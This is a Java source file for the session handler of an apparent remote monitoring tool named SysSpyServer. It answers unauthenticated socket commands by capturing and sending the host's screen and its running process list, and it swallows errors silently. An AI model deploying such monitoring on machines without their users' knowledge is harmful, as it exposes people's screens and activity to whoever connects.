package requesthandler;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.Socket;

import osutil.LinuxUtil;
import osutil.ScreenShot;
import osutil.WindowsUtils;

import server.SysSpyServer;

public class SessionImpl implements Session {
	private Socket clientSocket;
	SysSpyServer server = null;
	
	public SessionImpl(Socket clientSocket, SysSpyServer server) {
		this.clientSocket = clientSocket;
		this.server = server;
	}

	@Override
	public void run() {
		BufferedReader buff = null;
		OutputStream out = null;
		try {
			buff = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
			out = clientSocket.getOutputStream();
			handleRequest(buff, out);			
		}catch (Throwable e) {
			// do nothing
		}
	}

	public void handleRequest(BufferedReader buff, OutputStream out)
			throws IOException {
		String line = null;
		while ((line = buff.readLine()) != null) {
			if (line.equals(Commands.GET_SCREENSHOT.name())) {
				sendScreenShot(out);
			}
			if (line.equals(Commands.GET_RUNNING_PROCESSES.name())) {
				sendRunningProcesses(out);
			}
			if (line.equals(Commands.PING.name())) {
				sendResponse(out);
			}
			if (line.equals(Commands.EXIT.name())) {
				//System.out.println("Session ended");
				break;
			}
			if (line.equals(Commands.STOP_SERVER.name())) {
				stopServer();
				break;
			}
		}
		
		buff.close();
		out.close();
		server = null;
		clientSocket = null;
	}

	private void stopServer() {
		server.stop();
	}

	private void sendResponse(OutputStream out) {
		PrintWriter writer = new PrintWriter(out, true);
		writer.println("success");
	}

	private void sendRunningProcesses(OutputStream out) {
		try {
			ObjectOutputStream oout = new ObjectOutputStream(out);
			String getOpSys = System.getProperty("os.name");
			if(getOpSys.toLowerCase().contains("windows")){
			oout.writeObject(WindowsUtils.listRunningProcesses());
			}
			if(getOpSys.toLowerCase().contains("linux")){
			oout.writeObject(LinuxUtil.listRunningProcesses());
			}
			oout.flush();
			
		} catch (IOException e) {
		}
	}

	private void sendScreenShot(OutputStream out) {
		ObjectOutputStream oout;
		try {
			oout = new ObjectOutputStream(out);
			ScreenShot screenShot = new ScreenShot();
			screenShot.screenShot(oout);
		} catch (IOException e) {
						
		}
		
	}
}
